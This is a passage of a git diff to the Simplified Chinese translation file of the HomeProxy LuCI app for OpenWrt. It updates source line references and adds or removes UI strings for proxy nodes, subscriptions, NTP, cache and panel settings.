设置比入站的 UDP 超时更大的值将无效。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1128 +#: htdocs/luci-static/resources/view/homeproxy/client.js:941 msgid "" "Timeout of rejected DNS response cache in seconds. 604800 (7d) " "is used by default." @@ -3077,7 +2864,7 @@ msgid "" msgstr "" "要与 Xray-core 兼容,请将其设置为 Sec-WebSocket-Protocol。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:332 +#: htdocs/luci-static/resources/view/homeproxy/client.js:315 msgid "" "To enable Tun support, you need to install ip-full and " "kmod-tun" @@ -3088,92 +2875,102 @@ msgstr "" msgid "Trace" msgstr "跟踪" -#: htdocs/luci-static/resources/view/homeproxy/node.js:953 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1203 #: htdocs/luci-static/resources/view/homeproxy/server.js:399 msgid "Transport" msgstr "传输层" -#: htdocs/luci-static/resources/view/homeproxy/node.js:534 +#: htdocs/luci-static/resources/view/homeproxy/node.js:869 #: htdocs/luci-static/resources/view/homeproxy/server.js:186 msgid "Trojan" msgstr "Trojan" -#: htdocs/luci-static/resources/view/homeproxy/node.js:536 +#: htdocs/luci-static/resources/view/homeproxy/node.js:871 #: htdocs/luci-static/resources/view/homeproxy/server.js:188 msgid "Tuic" msgstr "Tuic" -#: htdocs/luci-static/resources/view/homeproxy/client.js:330 +#: htdocs/luci-static/resources/view/homeproxy/client.js:313 msgid "Tun TCP/UDP" msgstr "Tun TCP/UDP" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1157 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1545 -#: htdocs/luci-static/resources/view/homeproxy/node.js:522 +#: htdocs/luci-static/resources/view/homeproxy/client.js:970 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1357 +#: htdocs/luci-static/resources/view/homeproxy/node.js:857 #: htdocs/luci-static/resources/view/homeproxy/server.js:175 msgid "Type" msgstr "类型" -#: htdocs/luci-static/resources/view/homeproxy/client.js:851 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1158 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1312 +msgid "Type error" +msgstr "类型错误" + +msgid "TypeError" +msgstr "类型错误" + +msgid "Cannot convert null to object." +msgstr "无法将 null 转换为对象。" + +msgid "can't convert null to object" +msgstr "无法将 null 转换为对象" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:662 +#: htdocs/luci-static/resources/view/homeproxy/client.js:971 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1124 #: htdocs/luci-static/resources/view/homeproxy/server.js:868 msgid "UDP" msgstr "UDP" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1347 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1597 #: htdocs/luci-static/resources/view/homeproxy/server.js:854 msgid "UDP Fragment" msgstr "UDP 分片" -#: htdocs/luci-static/resources/view/homeproxy/client.js:375 +#: htdocs/luci-static/resources/view/homeproxy/client.js:358 #: htdocs/luci-static/resources/view/homeproxy/server.js:859 msgid "UDP NAT expiration time" msgstr "UDP NAT 过期时间" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1351 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1601 msgid "UDP over TCP" msgstr "UDP over TCP" -#: htdocs/luci-static/resources/view/homeproxy/node.js:896 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1146 msgid "UDP over stream" msgstr "UDP over stream" -#: htdocs/luci-static/resources/view/homeproxy/node.js:889 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1139 msgid "UDP packet relay mode." msgstr "UDP 包中继模式。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:888 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1138 msgid "UDP relay mode" msgstr "UDP 中继模式" -#: htdocs/luci-static/resources/view/homeproxy/client.js:932 +#: htdocs/luci-static/resources/view/homeproxy/client.js:745 msgid "UDP timeout" msgstr "UDP 超时" -#: htdocs/luci-static/resources/homeproxy/routing-node.js:15 -#: htdocs/luci-static/resources/view/homeproxy/client.js:164 -#: htdocs/luci-static/resources/view/homeproxy/client.js:193 -#: htdocs/luci-static/resources/view/homeproxy/client.js:461 +#: htdocs/luci-static/resources/view/homeproxy/client.js:149 +#: htdocs/luci-static/resources/view/homeproxy/client.js:178 +#: htdocs/luci-static/resources/view/homeproxy/client.js:444 msgid "URLTest" msgstr "URLTest" -#: htdocs/luci-static/resources/view/homeproxy/client.js:171 -#: htdocs/luci-static/resources/view/homeproxy/client.js:200 -#: htdocs/luci-static/resources/view/homeproxy/client.js:539 +#: htdocs/luci-static/resources/view/homeproxy/client.js:156 +#: htdocs/luci-static/resources/view/homeproxy/client.js:185 +#: htdocs/luci-static/resources/view/homeproxy/client.js:519 msgid "URLTest nodes" msgstr "URLTest 节点" -#: htdocs/luci-static/resources/view/homeproxy/node.js:870 +#: htdocs/luci-static/resources/view/homeproxy/client.js:130 +msgid "URLTest: %s" +msgstr "URLTest: %s" + +#: htdocs/luci-static/resources/view/homeproxy/node.js:1120 #: htdocs/luci-static/resources/view/homeproxy/server.js:346 msgid "UUID" msgstr "UUID" -#: htdocs/luci-static/resources/homeproxy/node-filter.js:39 -#: htdocs/luci-static/resources/homeproxy/node-filter.js:48 -#: htdocs/luci-static/resources/view/homeproxy/node.js:72 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1711 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1713 #: htdocs/luci-static/resources/view/homeproxy/status.js:98 msgid "Unknown error." msgstr "未知错误。" @@ -3182,15 +2979,11 @@ msgstr "未知错误。" msgid "Unknown error: %s" msgstr "未知错误:%s" -#: htdocs/luci-static/resources/homeproxy/tcping.js:205 -msgid "Unsupported" -msgstr "不支持" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1315 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1565 msgid "Unsupported fingerprint!" msgstr "不支持的指纹!" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1648 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1849 msgid "Update %s subscriptions" msgstr "更新 %s 个订阅" @@ -3198,61 +2991,77 @@ msgstr "更新 %s 个订阅" msgid "Update failed." msgstr "更新失败。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1604 -msgid "Update interval" -msgstr "更新间隔" - -#: htdocs/luci-static/resources/view/homeproxy/client.js:1605 -msgid "Update interval of rule set." -msgstr "规则集更新间隔。" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1643 -msgid "Update nodes from subscriptions" -msgstr "从订阅更新节点" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1580 -msgid "Update subscriptions via proxy." -msgstr "使用代理更新订阅。" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1573 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1415 msgid "Update time" msgstr "更新时间" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1579 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1416 +msgid "Update time (daily)" +msgstr "更新时间(每天)" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:1417 +msgid "Update time (weekly)" +msgstr "更新时间(每周)" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:1418 +msgid "Every day" +msgstr "每天" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:1419 +msgid "Every Monday" +msgstr "每周一" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:1420 +msgid "Every Tuesday" +msgstr "每周二" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:1421 +msgid "Every Wednesday" +msgstr "每周三" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:1422 +msgid "Every Thursday" +msgstr "每周四" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:1423 +msgid "Every Friday" +msgstr "每周五" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:1424 +msgid "Every Saturday" +msgstr "每周六" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:1425 +msgid "Every Sunday" +msgstr "每周日" + +#: htdocs/luci-static/resources/view/homeproxy/node.js:1844 +msgid "Update nodes from subscriptions" +msgstr "从订阅更新节点" + +#: htdocs/luci-static/resources/view/homeproxy/node.js:1779 +msgid "Update subscriptions via proxy." +msgstr "使用代理更新订阅。" + +#: htdocs/luci-static/resources/view/homeproxy/node.js:1778 msgid "Update via proxy" msgstr "使用代理更新" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1655 -msgid "Updating subscriptions..." -msgstr "正在更新订阅..." - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1284 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1534 msgid "Upload ECH config" msgstr "上传 ECH 配置" -#: htdocs/luci-static/resources/view/homeproxy/backup.js:203 -msgid "" -"Upload a HomeProxy backup file and overwrite the current HomeProxy source " -"configuration. A rollback archive is saved automatically before restore." -msgstr "" -"上传 HomeProxy 备份文件并覆盖当前 HomeProxy 源配置。恢复前会自动保存回滚包。" - -#: htdocs/luci-static/resources/view/homeproxy/backup.js:149 -#: htdocs/luci-static/resources/view/homeproxy/backup.js:211 -msgid "Upload backup file..." -msgstr "上传备份文件..." - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1175 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1425 #: htdocs/luci-static/resources/view/homeproxy/server.js:523 msgid "Upload bandwidth" msgstr "上传带宽" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1176 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1426 #: htdocs/luci-static/resources/view/homeproxy/server.js:524 msgid "Upload bandwidth in Mbps." msgstr "上传带宽(单位:Mbps)。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1265 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1515 #: htdocs/luci-static/resources/view/homeproxy/server.js:767 msgid "Upload certificate" msgstr "上传证书" @@ -3261,68 +3070,58 @@ msgstr "上传证书" msgid "Upload key" msgstr "上传密钥" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1268 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1287 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1518 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1537 #: htdocs/luci-static/resources/view/homeproxy/server.js:770 #: htdocs/luci-static/resources/view/homeproxy/server.js:789 msgid "Upload..." msgstr "上传..." -#: htdocs/luci-static/resources/view/homeproxy/backup.js:111 -msgid "Uploading backup file..." -msgstr "正在上传备份文件..." - #: htdocs/luci-static/resources/view/homeproxy/server.js:596 msgid "Use ACME TLS certificate issuer." msgstr "使用 ACME TLS 证书颁发机构。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:579 -msgid "" -"Use POSIX ERE syntax. Lookahead/lookbehind such as (?!) and (?<=) are " -"unsupported." -msgstr "使用 POSIX ERE 语法,不支持 lookahead/lookbehind,如 (?!)、(?<=)" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1211 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1461 #: htdocs/luci-static/resources/view/homeproxy/server.js:561 msgid "" "Used to verify the hostname on the returned certificates unless insecure is " "given." msgstr "用于验证返回证书上的主机名。如允许不安全连接,此配置无效。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1191 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1004 msgid "Used to verify the hostname on the returned certificates." msgstr "用于验证返回证书上的主机名。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:854 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1326 +#: htdocs/luci-static/resources/view/homeproxy/client.js:665 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1138 msgid "User" msgstr "用户" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1613 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1819 msgid "User-Agent" msgstr "用户代理" -#: htdocs/luci-static/resources/view/homeproxy/node.js:574 +#: htdocs/luci-static/resources/view/homeproxy/node.js:888 #: htdocs/luci-static/resources/view/homeproxy/server.js:203 msgid "Username" msgstr "用户名" -#: htdocs/luci-static/resources/view/homeproxy/node.js:539 +#: htdocs/luci-static/resources/view/homeproxy/node.js:874 #: htdocs/luci-static/resources/view/homeproxy/server.js:189 msgid "VLESS" msgstr "VLESS" -#: htdocs/luci-static/resources/view/homeproxy/node.js:540 +#: htdocs/luci-static/resources/view/homeproxy/node.js:875 #: htdocs/luci-static/resources/view/homeproxy/server.js:190 msgid "VMess" msgstr "VMess" -#: htdocs/luci-static/resources/view/homeproxy/client.js:221 -#: htdocs/luci-static/resources/view/homeproxy/client.js:259 +#: htdocs/luci-static/resources/view/homeproxy/client.js:206 +#: htdocs/luci-static/resources/view/homeproxy/client.js:243 msgid "WAN DNS (read from interface)" msgstr "WAN DNS(从接口获取)" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1676 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1487 msgid "WAN IP Policy" msgstr "WAN IP 策略" @@ -3330,60 +3129,41 @@ msgstr "WAN IP 策略" msgid "Warn" msgstr "警告" -#: htdocs/luci-static/resources/view/homeproxy/node.js:960 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1210 #: htdocs/luci-static/resources/view/homeproxy/server.js:406 msgid "WebSocket" msgstr "WebSocket" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1624 -msgid "" -"When a subscription node uses a server certificate fingerprint but the " -"current sing-box version cannot express it, skip the node by default. Enable " -"this only if you explicitly accept falling back to TLS insecure mode for " -"compatibility." -msgstr "" -"当订阅节点使用服务器证书指纹但当前 sing-box 版本无法表达该字段时,默认跳过该" -"节点。仅在你明确接受回退到 TLS 不安全模式以换取兼容性时才开启此项。" - -#: htdocs/luci-static/resources/homeproxy/dashboard.js:102 -msgid "" -"When using the remote MetaCubeXD dashboard, the Clash API secret is provided " -"to that web page. Use a self-hosted or local dashboard when stronger " -"security is required." -msgstr "" -"使用远程 MetaCubeXD 面板时,Clash API secret 会提供给该网页。安全要求较高时请" -"使用自建面板或本地面板。" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1604 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1810 msgid "Whitelist mode" msgstr "白名单模式" -#: htdocs/luci-static/resources/view/homeproxy/node.js:538 +#: htdocs/luci-static/resources/view/homeproxy/node.js:873 msgid "WireGuard" msgstr "WireGuard" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1092 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1342 msgid "WireGuard peer public key." msgstr "WireGuard 对端公钥。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1099 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1349 msgid "WireGuard pre-shared key." msgstr "WireGuard 预共享密钥。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1084 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1334 msgid "WireGuard requires base64-encoded private keys." msgstr "WireGuard 要求 base64 编码的私钥。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:614 +#: htdocs/luci-static/resources/view/homeproxy/node.js:928 msgid "Write proxy protocol in the connection header." msgstr "在连接头中写入代理协议。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1069 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1631 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1319 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1832 msgid "Xudp (Xray-core)" msgstr "Xudp (Xray-core)" -#: htdocs/luci-static/resources/homeproxy.js:300 +#: htdocs/luci-static/resources/homeproxy.js:259 msgid "Your %s was successfully uploaded. Size: %sB." msgstr "您的 %s 已成功上传。大小:%sB。" @@ -3391,17 +3171,17 @@ msgstr "您的 %s 已成功上传。大小:%sB。" msgid "ZeroSSL" msgstr "ZeroSSL" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1270 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1520 #: htdocs/luci-static/resources/view/homeproxy/server.js:772 msgid "certificate" msgstr "证书" -#: htdocs/luci-static/resources/view/homeproxy/client.js:926 +#: htdocs/luci-static/resources/view/homeproxy/client.js:739 msgid "connect UDP connections" msgstr "主动连接 UDP" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1230 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1238 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1480 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1488 #: htdocs/luci-static/resources/view/homeproxy/server.js:572 #: htdocs/luci-static/resources/view/homeproxy/server.js:580 msgid "default" @@ -3411,45 +3191,52 @@ msgstr "默认" msgid "failed" msgstr "失败" -#: htdocs/luci-static/resources/view/homeproxy/node.js:956 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1206 #: htdocs/luci-static/resources/view/homeproxy/server.js:402 msgid "gRPC" msgstr "gRPC" -#: htdocs/luci-static/resources/view/homeproxy/node.js:998 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1248 msgid "gRPC permit without stream" msgstr "gRPC 允许无活动连接" -#: htdocs/luci-static/resources/view/homeproxy/node.js:993 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1243 #: htdocs/luci-static/resources/view/homeproxy/server.js:430 msgid "gRPC service name" msgstr "gRPC 服务名称" -#: htdocs/luci-static/resources/view/homeproxy/client.js:351 +#: htdocs/luci-static/resources/view/homeproxy/client.js:334 msgid "gVisor" msgstr "gVisor" -#: htdocs/luci-static/resources/homeproxy.js:347 -#: htdocs/luci-static/resources/homeproxy.js:367 -#: htdocs/luci-static/resources/view/homeproxy/client.js:235 -#: htdocs/luci-static/resources/view/homeproxy/client.js:270 -#: htdocs/luci-static/resources/view/homeproxy/client.js:548 -#: htdocs/luci-static/resources/view/homeproxy/client.js:569 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1568 -#: htdocs/luci-static/resources/view/homeproxy/node.js:604 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1311 +#: htdocs/luci-static/resources/homeproxy.js:306 +#: htdocs/luci-static/resources/homeproxy.js:326 +#: htdocs/luci-static/resources/view/homeproxy/client.js:219 +#: htdocs/luci-static/resources/view/homeproxy/client.js:253 +#: htdocs/luci-static/resources/view/homeproxy/client.js:527 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1380 +#: htdocs/luci-static/resources/view/homeproxy/node.js:918 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1561 #: htdocs/luci-static/resources/view/homeproxy/server.js:235 msgid "non-empty value" msgstr "非空值" -#: htdocs/luci-static/resources/view/homeproxy/node.js:747 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1067 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1629 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1919 +msgid "The default rule set directory is /etc/homeproxy/ruleset/." +msgstr "规则集默认目录为 /etc/homeproxy/ruleset/。" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:1975 +msgid "absolute path" +msgstr "绝对路径" + +#: htdocs/luci-static/resources/view/homeproxy/node.js:1061 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1317 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1830 msgid "none" msgstr "无" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1068 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1630 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1318 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1831 msgid "packet addr (v2ray-core v5+)" msgstr "packet addr (v2ray-core v5+)" @@ -3461,7 +3248,7 @@ msgstr "通过" msgid "private key" msgstr "私钥" -#: htdocs/luci-static/resources/view/homeproxy/client.js:843 +#: htdocs/luci-static/resources/view/homeproxy/client.js:654 msgid "quic-go / uquic chrome" msgstr "quic-go / uquic chrome" @@ -3473,11 +3260,11 @@ msgstr "sing-box 客户端" msgid "sing-box server" msgstr "sing-box 服务端" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1293 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1543 msgid "uTLS fingerprint" msgstr "uTLS 指纹" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1294 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1544 msgid "" "uTLS is a fork of \"crypto/tls\", which provides ClientHello fingerprinting " "resistance." @@ -3488,87 +3275,235 @@ msgstr "" msgid "unchecked" msgstr "未检查" -#: htdocs/luci-static/resources/homeproxy.js:278 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1535 +#: htdocs/luci-static/resources/homeproxy.js:237 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1735 msgid "unique UCI identifier" msgstr "独立 UCI 标识" -#: htdocs/luci-static/resources/homeproxy.js:358 +#: htdocs/luci-static/resources/homeproxy.js:317 msgid "unique value" msgstr "独立值" -#: htdocs/luci-static/resources/view/homeproxy/node.js:616 -#: htdocs/luci-static/resources/view/homeproxy/node.js:824 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1358 +#: htdocs/luci-static/resources/view/homeproxy/node.js:930 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1075 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1608 msgid "v1" msgstr "v1" -#: htdocs/luci-static/resources/view/homeproxy/node.js:617 -#: htdocs/luci-static/resources/view/homeproxy/node.js:825 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1359 +#: htdocs/luci-static/resources/view/homeproxy/node.js:931 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1076 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1609 msgid "v2" msgstr "v2" -#: htdocs/luci-static/resources/view/homeproxy/node.js:826 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1077 msgid "v3" msgstr "v3" -#: htdocs/luci-static/resources/view/homeproxy/client.js:247 -#: htdocs/luci-static/resources/view/homeproxy/client.js:251 -#: htdocs/luci-static/resources/view/homeproxy/client.js:281 -#: htdocs/luci-static/resources/view/homeproxy/client.js:285 +#: htdocs/luci-static/resources/view/homeproxy/client.js:231 +#: htdocs/luci-static/resources/view/homeproxy/client.js:235 +#: htdocs/luci-static/resources/view/homeproxy/client.js:264 +#: htdocs/luci-static/resources/view/homeproxy/client.js:268 msgid "valid DNS server address" msgstr "有效 DNS 服务器地址" -#: htdocs/luci-static/resources/view/homeproxy/client.js:730 -#: htdocs/luci-static/resources/view/homeproxy/client.js:733 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1573 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1576 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1590 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1593 +#: htdocs/luci-static/resources/view/homeproxy/client.js:541 +#: htdocs/luci-static/resources/view/homeproxy/client.js:544 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1385 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1388 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1796 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1799 msgid "valid URL" msgstr "有效网址" -#: htdocs/luci-static/resources/homeproxy.js:312 +#: htdocs/luci-static/resources/homeproxy.js:271 msgid "valid base64 key with %d characters" msgstr "包含 %d 个字符的有效 base64 密钥" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1719 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1751 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1530 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1562 msgid "valid hostname" msgstr "有效主机名" -#: htdocs/luci-static/resources/homeproxy.js:338 +#: htdocs/luci-static/resources/homeproxy.js:297 msgid "valid port range (port1:port2)" msgstr "有效端口范围(port1:port2)" -#: htdocs/luci-static/resources/view/homeproxy/client.js:314 +#: htdocs/luci-static/resources/view/homeproxy/client.js:297 msgid "valid port value" msgstr "有效端口值" -#: htdocs/luci-static/resources/homeproxy/node-filter.js:59 -#: htdocs/luci-static/resources/view/homeproxy/client.js:591 -#: htdocs/luci-static/resources/view/homeproxy/client.js:616 -msgid "valid regular expression" -msgstr "有效正则表达式" - -#: htdocs/luci-static/resources/homeproxy.js:369 +#: htdocs/luci-static/resources/homeproxy.js:328 msgid "valid uuid" msgstr "有效 uuid" -#~ msgid "An error occurred during updating subscriptions: %s" -#~ msgstr "更新订阅时发生错误:%s" +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Panel Settings" +msgstr "面版设置" -#~ msgid "HomeProxy 配置生成时发现以下问题,请检查并手动修复:" -#~ msgstr "HomeProxy 配置生成时发现以下问题,请检查并手动修复:" +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "UI path" +msgstr "UI 路径" -#~ msgid "" -#~ "以下诊断来自上次生成配置(%s)。修复后请重新应用或重启服务以刷新诊断。" -#~ msgstr "" -#~ "以下诊断来自上次生成配置(%s)。修复后请重新应用或重启服务以刷新诊断。" +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "UI download URL" +msgstr "UI 下载地址" -#~ msgid "以下诊断来自上次生成配置。修复后请重新应用或重启服务以刷新诊断。" -#~ msgstr "以下诊断来自上次生成配置。修复后请重新应用或重启服务以刷新诊断。" +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "UI download detour" +msgstr "UI 下载节点" -#~ msgid "建议:" -#~ msgstr "建议:" +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "API listen" +msgstr "API 监听" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Use 0.0.0.0:port to open the panel from your browser." +msgstr "使用 0.0.0.0:端口 才能从浏览器打开面板。" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "API password" +msgstr "API 密码" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Default mode" +msgstr "默认模式" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "NTP Settings" +msgstr "NTP 设置" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Enable NTP" +msgstr "启用 NTP" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "NTP server address" +msgstr "NTP 服务地址" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "NTP server port" +msgstr "NTP 服务端口" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "NTP time synchronization interval" +msgstr "NTP 时间同步间隔" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "NTP service always uses direct connection and mainly provides accurate time for sing-box features that depend on it, such as TLS certificate verification, VMess, Reality/uTLS and other time-sensitive connection scenarios." +msgstr "NTP服务固定走直连,主要提供给Sing-box某些依赖准确时间的功能使用,如:TLS证书校验、VMess、Reality/uTLS等对时间敏感的连接场景。" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Time format examples: 1m = 1 minute, 1h = 1 hour, 1d = 1 day." +msgstr "时间格式示例:1m = 1分钟,1h = 1小时,1d = 1天。" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Cache Settings" +msgstr "缓存设置" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Persistent Cache Settings" +msgstr "持久化缓存设置" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Enable cache" +msgstr "启用缓存" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Enable cache file" +msgstr "启用缓存文件" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Cache file path" +msgstr "缓存文件路径" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Persistent cache file path" +msgstr "持久化缓存文件路径" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Cache RDRC" +msgstr "缓存 RDRC" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Persist RDRC cache" +msgstr "持久化 RDRC 缓存" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Status" +msgstr "状态" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Plugin Version" +msgstr "插件版本" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Core Version" +msgstr "核心版本" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Core Status" +msgstr "核心状态" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Running" +msgstr "运行中" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Running: %s" +msgstr "运行中:%s" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Not Running" +msgstr "未运行" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Reload Service" +msgstr "重载服务" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Restart Service" +msgstr "重启服务" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Update Panel" +msgstr "更新面版" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Update panel failed." +msgstr "更新面版失败" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Clash API unavailable." +msgstr "Clash API 不可用" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Open Panel" +msgstr "打开面版" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Upload Panel ZIP" +msgstr "上传面版ZIP" + +#~ msgid "Real Proxy" +#~ msgstr "Real Proxy" + +#~ msgid "HTTP3" +#~ msgstr "HTTP3" +msgid "Baidu Connection" +msgstr "百度连接" + +msgid "Google Connection" +msgstr "谷歌连接" + +msgid "GitHub Connection" +msgstr "GitHub 连接" + +msgid "YouTube Connection" +msgstr "YouTube 连接" + +msgid "Click to check" +msgstr "点我检测" + +msgid "Checking..." +msgstr "检测中..." diff --git a/luci-app-homeproxy/root/etc/config/homeproxy b/luci-app-homeproxy/root/etc/config/homeproxy index 15cba563e..d6e62dc5f 100644 --- a/luci-app-homeproxy/root/etc/config/homeproxy +++ 